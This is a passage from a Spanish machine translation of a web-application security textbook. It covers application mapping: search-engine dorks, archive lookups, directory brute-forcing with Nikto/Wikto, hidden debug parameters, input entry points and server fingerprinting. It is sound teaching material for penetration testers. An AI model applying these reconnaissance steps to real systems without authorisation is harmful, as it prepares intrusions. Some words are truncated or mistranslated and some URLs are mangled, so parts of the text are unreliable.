figura 4-8 muestra una sesión de descubrimiento de contenido en curso en la aplicación EIS.
Figura 4-8: Una sesión de descubrimiento de contenido en progreso contra la aplicación EIS
SUGERENCIA El proyecto DirBuster de OWASP también es un recurso útil cuando se

realizan tareas automatizadas de descubrimiento de contenido. Incluye grandes listas de
nombres de directorios que se han encontrado en la naturaleza, ordenados por frecuencia de aparición.
Uso de Información Pública

La aplicación puede contener contenido y funcionalidad que actualmente no están
vinculados al contenido principal pero que han estado vinculados en el pasado. En esta
situación, es probable que varios repositorios históricos aún contengan referencias al
contenido oculto. Dos tipos principales de recursos disponibles públicamente son útiles aquí:
n Motores de búsqueda como Google, Yahoo y MSN. Estos mantienen un índice detallado de todo
el contenido que sus poderosas arañas han descubierto, y también almacenan copias en caché de
gran parte de este contenido, que persiste incluso después de que se eliminó el contenido original.
n Archivos web como WayBack Machine, ubicado en www.archive.org/.

Estos archivos mantienen un registro histórico de una gran cantidad de sitios web.
En muchos casos, permiten a los usuarios navegar por una instantánea completamente replicada
de un sitio determinado tal como existía en varias fechas que se remontan a varios años.
Además del contenido que se ha vinculado en el pasado, es probable que estos

recursos también contengan referencias a contenido vinculado desde sitios de
terceros, pero no desde dentro de la propia aplicación de destino. Por ejemplo,
algunas aplicaciones contienen funcionalidad restringida para uso de sus socios
comerciales. Esos socios pueden divulgar la existencia de la funcionalidad de maneras
que la propia aplicación no lo hace.
PASOS DE HACK
1. Use varios motores de búsqueda y archivos web diferentes (enumerados anteriormente) para
descubrir qué contenido indexaron o almacenaron para la aplicación que está atacando.
2. Al consultar un motor de búsqueda, puede utilizar varias técnicas avanzadas para maximizar
la eficacia de su investigación. Las siguientes sugerencias se aplican a Google. Puede
encontrar las consultas correspondientes en otros motores seleccionando su opción de
Búsqueda avanzada.
n site:www.wahh-target.com devuelve todos los recursos dentro del sitio de destino al que
Google tiene una referencia.
n site:www.wahh-target.com login devuelve todas las páginas que contienen la expresión

login. En una aplicación grande y compleja, esta técnica se puede utilizar para acceder
rápidamente a recursos interesantes, como mapas de sitios, funciones de restablecimiento
de contraseña y menús administrativos. n link:www.wahh-target.com devuelve todas las
páginas de otros sitios web y aplicaciones que contienen un enlace al objetivo. Esto puede
incluir enlaces a contenido antiguo o funciones destinadas a ser utilizadas únicamente por
terceros, como enlaces de socios.
n related:www.wahh-target.com devuelve páginas que son "similares" al objetivo y, por lo

tanto, incluye una gran cantidad de material irrelevante. Sin embargo, también puede
discutir el objetivo en otros sitios, que pueden ser de su interés.
3. Realice cada búsqueda no solo en la sección Web predeterminada de Google, sino también
en Grupos y Noticias, que pueden contener resultados diferentes.
4. Vaya a la última página de resultados de búsqueda para una consulta determinada y seleccione
Repita la búsqueda con los resultados omitidos incluidos. De forma predeterminada,
Google intenta filtrar los resultados redundantes eliminando las páginas que cree que son
lo suficientemente similares a otras incluidas en los resultados. Anular este comportamiento
puede descubrir páginas sutilmente diferentes que son de su interés cuando ataca la
aplicación.
5. Vea la versión en caché de las páginas interesantes, incluido cualquier contenido que ya no
esté presente en la aplicación real. En algunos casos, las cachés de los motores de búsqueda
contienen recursos a los que no se puede acceder directamente en la aplicación sin
autenticación o pago.
6. Realice las mismas consultas en otros nombres de dominio que pertenezcan a la misma
organización, que pueden contener información útil sobre la aplicación a la que se dirige.
Si su investigación identifica contenido y funcionalidad antiguos que ya no están

vinculados dentro de la aplicación principal, aún pueden estar presentes y utilizables. La
funcionalidad anterior puede contener vulnerabilidades que no existen en ningún otro lugar
dentro de la aplicación.
Incluso cuando el contenido antiguo se eliminó de la aplicación en vivo, el contenido
obtenido de la memoria caché de un motor de búsqueda o del archivo web puede contener
referencias o pistas sobre otras funciones que todavía están presentes en la aplicación en vivo
y que pueden usarse para atacarla.
Otra fuente pública de información útil sobre la aplicación de destino son las publicaciones
que los desarrolladores y otras personas han realizado en los foros de Internet. Existen
numerosos foros de este tipo en los que los diseñadores y programadores de software hacen
y responden preguntas técnicas. A menudo, los elementos publicados en estos foros
contienen información sobre una aplicación que beneficia directamente a un atacante,
incluidas las tecnologías en uso, la funcionalidad implementada, los problemas encontrados
durante el desarrollo, los errores de seguridad conocidos, la configuración y los archivos de
registro enviados a ayudar en la solución de problemas e incluso extractos del código fuente.
PASOS DE HACK
1. Compile una lista que contenga todos los nombres y direcciones de correo electrónico
que pueda descubrir en relación con la aplicación de destino y su desarrollo. Esto
debe incluir a los desarrolladores conocidos, los nombres que se encuentran en el código
fuente HTML, los nombres que se encuentran en la sección de información de contacto
del sitio web principal de la empresa y los nombres revelados dentro de la propia aplicación, como el personal admi
2. Usando las técnicas de búsqueda descritas anteriormente, busque cada identi

nombre fided para encontrar las preguntas y respuestas que han publicado en los foros de
Internet. Revise cualquier información encontrada en busca de pistas sobre la funcionalidad
o las vulnerabilidades dentro de la aplicación de destino.
Aprovechando el servidor web

Pueden existir vulnerabilidades en la capa del servidor web que le permitan descubrir
contenido y funcionalidad que no están vinculados dentro de la propia aplicación web.
Por ejemplo, los errores dentro del software del servidor web pueden permitir que un atacante
enumere el contenido de los directorios u obtenga la fuente sin procesar para las páginas
dinámicas ejecutables del servidor. Consulte el Capítulo 18 para ver algunos ejemplos de estas
vulnerabilidades y las formas en que puede identificarlas. Si existe tal error, es posible que pueda
explotarlo para obtener directamente una lista de todas las páginas y otros recursos dentro de la aplicación.
Muchos servidores de aplicaciones incluyen contenido predeterminado que puede ayudarlo a

atacarlos . Por ejemplo, las secuencias de comandos de muestra y de diagnóstico pueden
contener vulnerabilidades o funcionalidades conocidas que pueden aprovecharse para fines maliciosos.
Además, muchas aplicaciones web incorporan componentes comunes de terceros para la
funcionalidad estándar, como carritos de compras, foros de discusión o funciones del sistema de
administración de contenido (CMS). A menudo se instalan en una ubicación fija relativa a la raíz
web o al directorio de inicio de la aplicación.
Las herramientas automatizadas se prestan naturalmente a este tipo de tareas, y muchas
emiten solicitudes desde una gran base de datos de contenido de servidor web predeterminado
conocido, componentes de aplicaciones de terceros y nombres de directorios comunes. Si bien
estas herramientas no prueban rigurosamente ninguna funcionalidad personalizada oculta, a
menudo pueden ser útiles para descubrir otros recursos que no están vinculados dentro de la
aplicación y que pueden ser de interés para formular un ataque.
Wikto es una de las muchas herramientas gratuitas que realiza este tipo de análisis y,
además, contiene una lista de contenido de fuerza bruta configurable. Como se muestra en la
Figura 4-9, cuando se usa contra el sitio Extreme Internet Shopping, identifica algunos directorios
usando su lista de palabras interna. Debido a que tiene una gran base de datos de secuencias
de comandos y software de aplicaciones web comunes, también ha identificado el siguiente
directorio, que un atacante no descubriría a través de una araña automatizada o dirigida por el
usuario:
http://eis/phpmyadmin/
Figura 4-9: Wikto se usa para descubrir contenido y algunas vulnerabilidades conocidas
Además, aunque el directorio /gb ya había sido identificado a través de

spidering, Wikto ha identificado la URL específi ca:
/gb/index.php?login=verdadero
Wikto busca esta URL porque se usa en la aplicación gbook PHP,

que contiene una vulnerabilidad conocida públicamente.
ADVERTENCIA Al igual que muchos escáneres web comerciales, las herramientas

como Nikto y Wikto contienen listas extensas de archivos y directorios predeterminados y,
en consecuencia, parecen esforzarse en realizar una gran cantidad de comprobaciones.
Sin embargo, una gran cantidad de estas comprobaciones son redundantes y los falsos
positivos son comunes. Peor aún, los falsos negativos pueden ocurrir regularmente si un
servidor está configurado para ocultar un banner, si un script o colección de scripts se
mueve a un directorio diferente, o si los códigos de estado HTTP se manejan de manera personalizada. Por esta ra
es mejor usar una herramienta como Burp Intruder, que le permite interpretar la información de
respuesta sin procesar y no intenta extraer resultados positivos y negativos en su nombre.
PASOS DE HACK
Varias opciones útiles están disponibles cuando ejecuta Nikto:
1. Si cree que el servidor está usando una ubicación no estándar para contenido interesante
que Nikto verifica (como /cgi/cgi-bin en lugar de /cgi-bin), puede especificar esta ubicación
alternativa usando la opción –root / cgi/. Para el caso específico de los directorios CGI,
estos también se pueden especificar mediante la opción –Cgidirs.
2. Si el sitio usa una página personalizada de "archivo no encontrado" que no devuelve el

código de estado HTTP 404, puede especificar una cadena particular que identifique
esta página usando la opción -404.
3. Tenga en cuenta que Nikto no realiza ninguna verificación inteligente de

problemas potenciales y, por lo tanto, es propenso a reportar falsos positivos. Siempre
verifique cualquier resultado que Nikto devuelva manualmente.
Tenga en cuenta que con herramientas como Nikto, puede especificar una aplicación de destino
usando su nombre de dominio o dirección IP. Si una herramienta accede a una página usando su
dirección IP, la herramienta trata los enlaces en esa página que usan su nombre de dominio como
pertenecientes a un dominio diferente, por lo que no se siguen los enlaces. Esto es razonable,
porque algunas aplicaciones están alojadas virtualmente, con varios nombres de dominio que
comparten la misma dirección IP. Asegúrese de configurar sus herramientas teniendo esto en cuenta.
Páginas de aplicación frente a rutas funcionales

Las técnicas de enumeración descritas hasta ahora se han basado implícitamente en una
imagen particular de cómo se puede conceptualizar y catalogar el contenido de las
aplicaciones web. Esta imagen se hereda de los días previos a la aplicación de la World
Wide Web, en la que los servidores web funcionaban como depósitos de información
estática , recuperada mediante direcciones URL que en realidad eran nombres de archivos.
Para publicar algún contenido web, un autor simplemente generó un montón de archivos
HTML y los copió en el directorio correspondiente en un servidor web. Cuando los usuarios siguieron hipervíncu
navegaron por el conjunto de archivos creados por el autor, solicitando cada archivo a través de su
nombre dentro del árbol de directorios que reside en el servidor.
Aunque la evolución de las aplicaciones web ha cambiado fundamentalmente la experiencia de
interactuar con la web, la imagen que acabamos de describir sigue siendo aplicable a la mayoría del
contenido y la funcionalidad de las aplicaciones web. Por lo general, se accede a las funciones
individuales a través de una URL única, que suele ser el nombre del script del lado del servidor que
implementa la función. Los parámetros de la solicitud (que residen en la cadena de consulta de URL
o en el cuerpo de una solicitud POST ) no le indican a la aplicación qué función debe realizar; le dicen
qué información usar al realizarla. En este contexto, la metodología de construcción de un mapa
basado en URL puede ser eficaz para catalogar la funcionalidad de la aplicación.
En las aplicaciones que usan direcciones URL de estilo REST, partes de la ruta del archivo URL
contienen cadenas que, de hecho, funcionan como valores de parámetros. En esta situación, al
asignar direcciones URL de ping, una araña asigna tanto las funciones de la aplicación como la lista
de valores de parámetros conocidos a esas funciones.
En algunas aplicaciones, sin embargo, la imagen basada en las "páginas" de la aplicación es
inapropiada. Aunque es posible calzar la estructura de cualquier aplicación en esta forma de
representación, en muchos casos una imagen diferente, basada en rutas funcionales, es mucho más
útil para catalogar su contenido y funcionalidad. Considere una aplicación a la que se accede usando
solo solicitudes de la siguiente forma:
POST /banco.jsp HTTP/1.1

Anfitrión: wahh-bank.com
servlet=TransferFunds&method=confirmTransfer&fromAccount=10372918&to
Cuenta=
3910852&amount=291.23&Submit=Ok
Aquí, cada solicitud se realiza a una sola URL. Los parámetros de la solicitud se utilizan para
indicarle a la aplicación qué función realizar nombrando el servlet y el método de Java para invocar.
Otros parámetros proporcionan la información que se utilizará para realizar la función. En la imagen
basada en las páginas de la aplicación, la aplicación parece tener una sola función y un mapa basado
en URL no aclara su funcionalidad. Sin embargo, si mapeamos la aplicación en términos de rutas
funcionales, podemos obtener un catálogo mucho más informativo y útil de su funcionalidad. La Figura
4-10 es un mapa parcial de las rutas funcionales que existen dentro de la aplicación.
WahhBanco.
acceso
WahhBanco.
casa
Transferir fondos. Pago de la factura. Pago de la factura. WahhBanco.

seleccioneCuentas añadirPayee seleccioneBeneficiario cerrar sesión
Transferir fondos. Pago de la factura.

ingresarCantidad ingresarCantidad
Transferir fondos. Pago de la factura.

confirmarTransferir confirmar pago
Figura 4-10: Un mapeo de las rutas funcionales dentro de una aplicación web
Representar la funcionalidad de una aplicación de esta manera suele ser más útil incluso
en los casos en los que la imagen habitual basada en las páginas de la aplicación se puede
aplicar sin ningún problema. Las relaciones lógicas y las dependencias entre diferentes
funciones pueden no corresponder a la estructura de directorio utilizada en las URL. Son estas
relaciones lógicas las que más le interesan, tanto para comprender la funcionalidad principal
de la aplicación como para formular posibles ataques contra ella. Al identificarlos, puede
comprender mejor las expectativas y suposiciones de los desarrolladores de la aplicación al
implementar las funciones. También puede intentar encontrar formas de violar estas
suposiciones, provocando un comportamiento inesperado dentro de la aplicación.
En las aplicaciones donde las funciones se identifican mediante un parámetro de solicitud,

en lugar de la URL, esto tiene implicaciones para la enumeración del contenido de la aplicación.
En el ejemplo anterior, es poco probable que los ejercicios de descubrimiento de contenido
descritos hasta ahora descubran contenido oculto. Esas técnicas deben adaptarse a los
mecanismos realmente utilizados por la aplicación para acceder a la funcionalidad.
PASOS DE HACK
1. Identifique cualquier instancia en la que no se acceda a la funcionalidad de la aplicación

solicitando una página específica para esa función (como /admin/editUser.jsp)
pero pasando el nombre de una función en un parámetro (como /admin.jsp?
action=editUser).
2. Modificar las técnicas automatizadas descritas para descubrir contenido

especificado por URL para trabajar en los mecanismos de acceso al contenido en
uso dentro de la aplicación. Por ejemplo, si la aplicación utiliza parámetros que
especifican nombres de métodos y servlets, primero determine su comportamiento
cuando se solicita un método o un servlet no válido y cuando se solicita un
método válido con otros parámetros no válidos. Intente identificar los atributos
de las respuestas del servidor que indican "aciertos": servlets y métodos válidos.
Si es posible, encuentre una forma de atacar el problema en dos etapas, primero
enumerando los servlets y luego los métodos dentro de estos. Usando un método
similar al que se usa para el contenido especificado por URL, compile listas de
elementos comunes, agréguelos infiriendo de los nombres realmente observados
y genere una gran cantidad de solicitudes basadas en estos.
3. Si corresponde, compile un mapa del contenido de la aplicación basado en rutas
funcionales, que muestre todas las funciones enumeradas y las rutas lógicas
y las dependencias entre ellas.
Descubriendo parámetros ocultos

Una variación de la situación en la que una aplicación utiliza parámetros de solicitud
para especificar qué función se debe realizar surge cuando se utilizan otros parámetros
para controlar la lógica de la aplicación de forma significativa. Por ejemplo, una aplicación
puede comportarse de manera diferente si se agrega el parámetro debug=true a la
cadena de consulta de cualquier URL. Puede desactivar ciertas verificaciones de
validación de entrada, permitir que el usuario pase por alto ciertos controles de acceso
o mostrar información de depuración detallada en su respuesta. En muchos casos, el
hecho de que la aplicación maneje este parámetro no se puede inferir directamente de
ninguno de sus contenidos (por ejemplo, no incluye debug=false en las URL que publica
como hipervínculos). El efecto del parámetro solo se puede detectar adivinando un
rango de valores hasta que se envíe el correcto.
PASOS DE HACK
1. Usando listas de nombres de parámetros de depuración comunes (depuración, prueba,

ocultar, fuente, etc.) y valores comunes (verdadero, sí, encendido, 1, etc.), realice una gran
cantidad de solicitudes a una función o página de aplicación conocida , iterando a través
de todas las permutaciones de nombre y valor. Para las solicitudes POST, inserte el
parámetro agregado tanto en la cadena de consulta de URL como en el cuerpo del mensaje.
Burp Intruder se puede utilizar para realizar esta prueba utilizando varios conjuntos
de carga útil y el tipo de ataque "bomba de racimo" (consulte el Capítulo 14 para obtener más detalles).
2. Supervise todas las respuestas recibidas para identificar cualquier anomalía que pueda
indicar que el parámetro agregado ha tenido un efecto en el procesamiento de la aplicación.
3. Según el tiempo disponible, apunte a varias páginas o funciones diferentes para el

descubrimiento de parámetros ocultos. Elija funciones en las que sea más probable que
los desarrolladores hayan implementado la lógica de depuración, como inicio de sesión,
búsqueda y carga y descarga de archivos.
Análisis de la aplicación
Enumerar la mayor cantidad posible de contenido de la aplicación es solo un elemento
del proceso de mapeo. Igualmente importante es la tarea de analizar la funcionalidad,
el comportamiento y las tecnologías empleadas de la aplicación para identificar las
superficies de ataque clave que expone y comenzar a formular un enfoque para probar
la aplicación en busca de vulnerabilidades explotables.
Aquí hay algunas áreas clave para investigar:
n La funcionalidad central de la aplicación: las acciones que se pueden aprovechar

para realizar cuando se usa según lo previsto n Otro comportamiento de la aplicación
más periférico, incluidos enlaces externos, mensajes de error, funciones administrativas
y de registro, y el uso de redireccionamientos n Los mecanismos de seguridad
centrales y cómo funcionan, en particular, la gestión del estado de la sesión, los
controles de acceso y los mecanismos de autenticación y la lógica de apoyo (registro
de usuario, cambio de contraseña y recuperación de cuenta)
n Todas las diferentes ubicaciones en las que la aplicación procesa la entrada proporcionada
por el usuario: cada URL, parámetro de cadena de consulta, elemento de datos POST y
cookie n Las tecnologías empleadas en el lado del cliente, incluidos formularios, scripts del
lado del cliente, componentes de cliente pesado ( Subprogramas de Java, controles ActiveX y
Flash) y cookies
n Las tecnologías empleadas en el lado del servidor, incluidas las páginas estáticas y
dinámicas, los tipos de parámetros de solicitud empleados, el uso de SSL, el software del
servidor web, la interacción con las bases de datos, los sistemas de correo electrónico y
otros componentes de back-end n Cualquier otro detalle que se puede obtener sobre la
estructura interna y la funcionalidad de la aplicación del lado del servidor: los mecanismos
que utiliza detrás de escena para brindar la funcionalidad y el comportamiento que son
visibles desde la perspectiva del cliente
Identificación de puntos de entrada para la entrada del usuario
La mayoría de las formas en que la aplicación captura la entrada del usuario para el procesamiento
del lado del servidor deberían ser obvias al revisar las solicitudes HTTP que se generan a medida
que recorre la funcionalidad de la aplicación. Estas son las ubicaciones clave a las que debe prestar
atención:
n Cada cadena de URL hasta el marcador de cadena de
consulta n Cada parámetro enviado dentro de la cadena de consulta de
URL n Cada parámetro enviado dentro del cuerpo de una solicitud POST n Cada
cookie n Cualquier otro encabezado HTTP que la aplicación pueda procesar, en
particular , el Usuario -Cabeceras de agente, referente , aceptación, aceptación de idioma y

host
Rutas de archivos URL
Las partes de la URL que preceden a la cadena de consulta a menudo se pasan por alto como
puntos de entrada, ya que se supone que son simplemente los nombres de directorios y archivos
en el sistema de archivos del servidor. Sin embargo, en las aplicaciones que usan URL de estilo
REST, las partes de la URL que preceden a la cadena de consulta pueden funcionar como
parámetros de datos y son tan importantes como puntos de entrada para la entrada del usuario
como la propia cadena de consulta.
Una URL típica de estilo REST podría tener este formato:
http://eis/shop/browse/electronics/iPhone3G/
En este ejemplo, las cuerdas electrónicas y el iPhone3G deben tratarse como parámetros
para almacenar una función de búsqueda.
Del mismo modo, en esta URL:
http://eis/updates/2010/12/25/mi-nuevo-iphone/
cada uno de los componentes de la URL que siguen a las actualizaciones puede manejarse
de manera RESTful.
La mayoría de las aplicaciones que utilizan direcciones URL de estilo REST son fáciles de identificar dada
la estructura de la dirección URL y el contexto de la aplicación. Sin embargo, no se deben asumir reglas
estrictas al mapear una aplicación, porque depende de los autores de la aplicación cómo deben interactuar
los usuarios con ella.
Parámetros de solicitud
Los parámetros enviados dentro de la cadena de consulta de URL, el cuerpo del mensaje y las
cookies HTTP son los puntos de entrada más obvios para la entrada del usuario. Sin embargo,
algunas aplicaciones no emplean el formato estándar de nombre=valor para estos parámetros.
Pueden emplear su propio esquema personalizado, que puede usar marcadores de cadena de consulta y
separadores de campo no estándar, o pueden incorporar otros esquemas de datos, como XML, dentro de los
datos de parámetros.
Estos son algunos ejemplos de formatos de parámetros no estándar que los autores han encontrado en
la naturaleza:
n /dir/archivo;foo=bar&foo2=bar2
n /dir/archivo?foo=bar$foo2=bar2
n /dir/archivo/foo%3dbar%26foo2%3dbar2
n /dir/foo.bar/archivo
n /dir/foo=bar/archivo
n /dir/archivo?param=foo:barra
n /dir/archivo?datos=%3cfoo%3ebar%3c%2ffoo%3e%3cfoo2%3ebar2%3c%2ffoo2%3e
Si se utiliza un formato de parámetro no estándar, debe tener esto en

cuenta al probar la aplicación en busca de todo tipo de vulnerabilidades comunes.
Por ejemplo, suponga que, al probar la URL final en esta lista, ignora el formato personalizado y simplemente
trata la cadena de consulta como si contuviera un solo parámetro llamado datos y, por lo tanto, envía varios
tipos de cargas útiles de ataque como el valor de este parámetro. Se perdería muchos tipos de vulnerabilidades
que pueden existir en el procesamiento de la cadena de consulta. Por el contrario, si disecciona el formato y
coloca sus cargas útiles dentro de los campos de datos XML incrustados, puede descubrir de inmediato un
error crítico, como una inyección de SQL o un recorrido de ruta.
Encabezados HTTP
Muchas aplicaciones realizan funciones de registro personalizadas y pueden registrar el contenido

de los encabezados HTTP, como Referer y User-Agent. Estos encabezados siempre deben
considerarse como posibles puntos de entrada para ataques basados en entradas.
Algunas aplicaciones realizan un procesamiento adicional en el encabezado Referer . Por
ejemplo, una aplicación puede detectar que un usuario ha llegado a través de un motor de
búsqueda y tratar de proporcionar una respuesta personalizada adaptada a la consulta de búsqueda del usuario.
La aplicación puede repetir el término de búsqueda o puede intentar resaltar expresiones coincidentes
dentro de la respuesta. Algunas aplicaciones buscan aumentar sus clasificaciones de búsqueda agregando
dinámicamente contenido como palabras clave HTML, que contienen cadenas que los visitantes recientes
de los motores de búsqueda han estado buscando. En esta situación, es posible inyectar contenido de forma
persistente en las respuestas de la aplicación realizando una solicitud varias veces que contenga un mensaje
adecuadamente diseñado.
URL de referencia .
Una tendencia importante en los últimos años ha sido que las aplicaciones presenten diferentes
contenidos a los usuarios que acceden a la aplicación a través de diferentes dispositivos (laptop, celular,
tablet). Esto se logra inspeccionando el encabezado del agente de usuario . Además de proporcionar una
vía para los ataques basados en la entrada directamente dentro del propio encabezado User-Agent , este
comportamiento brinda la oportunidad de descubrir una superficie de ataque adicional dentro de la aplicación.
Al falsificar el encabezado User-Agent para un dispositivo móvil popular, puede acceder a una interfaz de
usuario simplificada que se comporta de manera diferente a la interfaz principal. Dado que esta interfaz se
genera a través de diferentes rutas de código dentro de la aplicación del lado del servidor y puede haber
estado sujeta a menos pruebas de seguridad, es posible que identifique errores, como secuencias de
comandos entre sitios, que no existen en la interfaz de la aplicación principal.
SUGERENCIA Burp Intruder contiene una lista de carga útil integrada que contiene una
gran cantidad de cadenas de agentes de usuario para diferentes tipos de dispositivos. Puede
llevar a cabo un ataque simple que realiza una solicitud GET a la página principal de la
aplicación proporcionando diferentes cadenas de agente de usuario y luego revisar los
resultados del intruso para identificar anomalías que sugieran que se está presentando una interfaz de usuario diferente.
Además de apuntar a los encabezados de solicitud HTTP que su navegador envía de forma
predeterminada, o que agregan los componentes de la aplicación, en algunas situaciones puede realizar
ataques exitosos agregando encabezados adicionales que la aplicación aún puede procesar. Por ejemplo,
muchas aplicaciones realizan algún procesamiento sobre la dirección IP del cliente para llevar a cabo
funciones como registro, control de acceso o geolocalización de usuarios. La dirección IP de la conexión de
red del cliente normalmente está disponible para las aplicaciones a través de las API de la plataforma. Sin
embargo, para manejar los casos en los que la aplicación reside detrás de un equilibrador de carga o un
proxy, las aplicaciones pueden usar la dirección IP especificada en el encabezado de la solicitud X-Forwarded-
For , si está presente.
Los desarrolladores pueden asumir erróneamente que el valor de la dirección IP no está
contaminado y procesarlo de manera peligrosa. Al agregar un X-Forwarded-For adecuadamente diseñado
encabezado, es posible que pueda lanzar ataques como inyección SQL o secuencias de comandos
entre sitios persistentes.
Canales fuera de banda
Una clase final de puntos de entrada para la entrada del usuario incluye cualquier canal fuera de banda por
el cual la aplicación recibe datos que usted puede controlar. Algunos de estos puntos de entrada pueden ser
completamente indetectables si simplemente inspecciona el tráfico HTTP generado por la aplicación, y
encontrarlos generalmente requiere una comprensión del contexto más amplio de la funcionalidad que
implementa la aplicación . Estos son algunos ejemplos de aplicaciones web que reciben datos controlables
por el usuario a través de un canal fuera de banda:
n Una aplicación de correo web que procesa y presenta los mensajes de correo electrónico recibidos
a través de SMTP
n Una aplicación de publicación que contiene una función para recuperar contenido a través de
HTTP de otro servidor
n Una aplicación de detección de intrusos que recopila datos usando una red
sniffer y lo presenta usando una interfaz de aplicación web
n Cualquier tipo de aplicación que proporcione una interfaz API para uso de agentes de usuario que no
sean navegadores, como aplicaciones de teléfonos móviles, si los datos procesados a través de esta
interfaz se comparten con la aplicación web principal.
Identificación de tecnologías del lado del servidor
Normalmente es posible identificar las tecnologías empleadas en el servidor a través de varias pistas e
indicadores.
Acaparamiento de pancartas
Muchos servidores web divulgan información detallada sobre la versión, tanto sobre
el software del servidor web como sobre otros componentes que se han instalado.
Por ejemplo, el encabezado del servidor HTTP revela una gran cantidad de detalles sobre algunas
instalaciones:
Servidor: Apache/1.3.31 (Unix) mod_gzip/1.3.26.1a mod_auth_passthrough/ 1.8 mod_log_bytes/1.2

mod_bwlimited/1.4 PHP/4.3.9 FrontPage/
5.0.2.2634a mod_ssl/2.8.20 OpenSSL/0.9.7a
Además del encabezado del servidor , el tipo y la versión del software se pueden divulgar en otras
ubicaciones:
n Plantillas utilizadas para crear páginas HTML

n Encabezados HTTP personalizados
n Parámetros de cadena de consulta de URL

Huella digital HTTP

En principio, cualquier elemento de información devuelto por el servidor puede personalizarse o
incluso falsificarse deliberadamente, y los banners como el encabezado del servidor no son una
excepción . La mayoría del software de servidor de aplicaciones permite al administrador configurar
el banner devuelto en el encabezado HTTP del servidor . A pesar de medidas como esta,
normalmente es posible que un atacante determinado use otros aspectos del comportamiento del
servidor web para determinar el software en uso, o al menos reducir el rango de posibilidades. La
especificación HTTP contiene muchos detalles que son opcionales o se dejan a discreción del
implementador. Además, muchos servidores web se desvían o amplían la especificación de varias
maneras. Como resultado, se puede tomar la huella digital de un servidor web de muchas maneras
sutiles, además de a través de su banner de servidor . Httprecon es una herramienta útil que
realiza una serie de pruebas en un intento de identificar el software de un servidor web. La Figura
4-11 muestra Httprecon ejecutándose contra la aplicación EIS y reportando varios posibles
servidores web con diferentes grados de confianza.
Figura 4-11: Httprecon toma de huellas dactilares de la aplicación EIS
Extensiones de archivo
Las extensiones de archivo que se usan en las URL a menudo revelan la plataforma o el lenguaje
de programación que se usa para implementar la funcionalidad relevante. Por ejemplo:
n asp : páginas de Microsoft Active Server n

aspx : Microsoft ASP.NET
n jsp : páginas del servidor

Java n cfm : Cold Fusion
n php : el lenguaje PHP n d2w :
WebSphere n pl : el lenguaje Perl n
py : el lenguaje Python n dll :
generalmente código nativo compilado
(C o C++) n nsf o ntf : Lotus Domino
Incluso si una aplicación no emplea una extensión de archivo en particular en su contenido

publicado, generalmente es posible verificar si la tecnología que admite esa extensión está
implementada en el servidor. Por ejemplo, si ASP.NET está instalado, solicitar un archivo .aspx
inexistente devuelve una página de error personalizada generada por el marco ASP.NET, como
se muestra en la Figura 4-12. Solicitar un archivo inexistente con una extensión diferente
devuelve un mensaje de error genérico generado por el servidor web, como se muestra en la
Figura 4-13.
Figura 4-12: Una página de error personalizada que indica que la plataforma ASP.NET está presente
en el servidor
Usando las técnicas de descubrimiento de contenido automatizado ya descritas, es posible

solicitar una gran cantidad de extensiones de archivo comunes y confirmar rápidamente si
alguna de las tecnologías asociadas está implementada en el
servidor.
El comportamiento divergente descrito surge porque muchos servidores web asignan

extensiones de archivo específicas a componentes particulares del lado del servidor. Cada
componente diferente puede manejar los errores (incluidas las solicitudes de contenido
inexistente) de manera diferente. La Figura 4-14 muestra las diversas extensiones que se
asignan a diferentes controladores DLL en una instalación predeterminada de IIS 5.0.
Figura 4-13: Un mensaje de error genérico creado cuando se solicita una extensión de archivo no reconocida
Figura 4-14: Asignaciones de extensión de archivo en IIS 5.0
Es posible detectar la presencia de cada asignación de extensión de archivo a través de

los diferentes mensajes de error generados cuando se solicita esa extensión de archivo.
En algunos casos, descubrir una asignación en particular puede indicar la presencia de una
vulnerabilidad del servidor web. Por ejemplo, los controladores .printer y .ida /.idq en IIS
han sido encontrados en el pasado vulnerables a vulnerabilidades de desbordamiento de búfer.
Otra huella dactilar común a tener en cuenta son las URL que se ven así:
https://wahh-app/noticias/0,,2-421206,00.html
Los números separados por comas hacia el final de la URL generalmente los genera la
plataforma de administración de contenido de Vignette.
Nombres de directorio
Es común encontrar nombres de subdirectorios que indican la presencia de una tecnología

asociada. Por ejemplo:
n servlet — servlets de Java
n pls : puerta de enlace Oracle Application Server PL/SQL

n cfdocs o cfide — Cold Fusion
n SilverStream — El servidor web SilverStream
n WebObjects o {función}.woa — Apple WebObjects n rails — Ruby
on Rails
Fichas de sesión
Muchos servidores web y plataformas de aplicaciones web generan tokens de sesión de forma
predeterminada con nombres que brindan información sobre la tecnología en uso. Por ejemplo:
n JSESSIONID : la plataforma Java

n ASPSESSIONID : servidor Microsoft IIS
n ASP.NET_SessionId : Microsoft ASP.NET
n CFID/CFTOKEN : fusión en frío

n PHPSESSID — PHP
Componentes de código de terceros
Muchas aplicaciones web incorporan componentes de código de terceros para implementar

funciones comunes, como carritos de compras, mecanismos de inicio de sesión y tableros de
mensajes. Estos pueden ser de código abierto o pueden haber sido comprados a un desarrollador
de software externo. Cuando este es el caso, los mismos componentes a menudo aparecen
dentro de muchas otras aplicaciones web en Internet, que puede inspeccionar para comprender
cómo funciona el componente. A menudo, otras aplicaciones usan diferentes funciones del
mismo componente, lo que le permite identificar comportamientos y funcionalidades adicionales
más allá de lo que es directamente visible en la aplicación de destino. Además, el software
puede contener vulnerabilidades conocidas que se han discutido en otra parte, o puede
descargar e instalar el componente usted mismo y realizar una revisión del código fuente o
probarlo en busca de defectos de manera controlada.
PASOS DE HACK
1. Identifique todos los puntos de entrada para la entrada del usuario, incluidas las URL, los parámetros
de cadena de consulta, los datos POST, las cookies y otros encabezados HTTP procesados por la
aplicación.
2. Examine el formato de la cadena de consulta que utiliza la aplicación. Si no emplea el formato

estándar descrito en el Capítulo 3, intente comprender cómo se transmiten los parámetros a
través de la URL. Prácticamente todos los esquemas personalizados todavía emplean alguna
variación en el modelo de nombre/valor, así que intente comprender cómo se encapsulan los
pares de nombre/valor en las URL no estándar que ha identificado.
3. Identifique los canales fuera de límites a través de los cuales se introducen datos controlables por
el usuario o de terceros en el procesamiento de la aplicación.
4. Vea el banner del servidor HTTP devuelto por la aplicación. Tenga en cuenta que, en algunos
casos, las diferentes áreas de la aplicación son manejadas por diferentes componentes de
back-end, por lo que se pueden recibir diferentes encabezados de servidor.
6. Verifique cualquier otro identificador de software contenido dentro de cualquier

Encabezados HTTP o comentarios de código fuente HTML.
7. Ejecute la herramienta httprint para tomar la huella digital del servidor web.
8. Si se obtiene información detallada sobre el servidor web y otros

componentes, investigue las versiones de software en uso para identificar cualquier habilidad
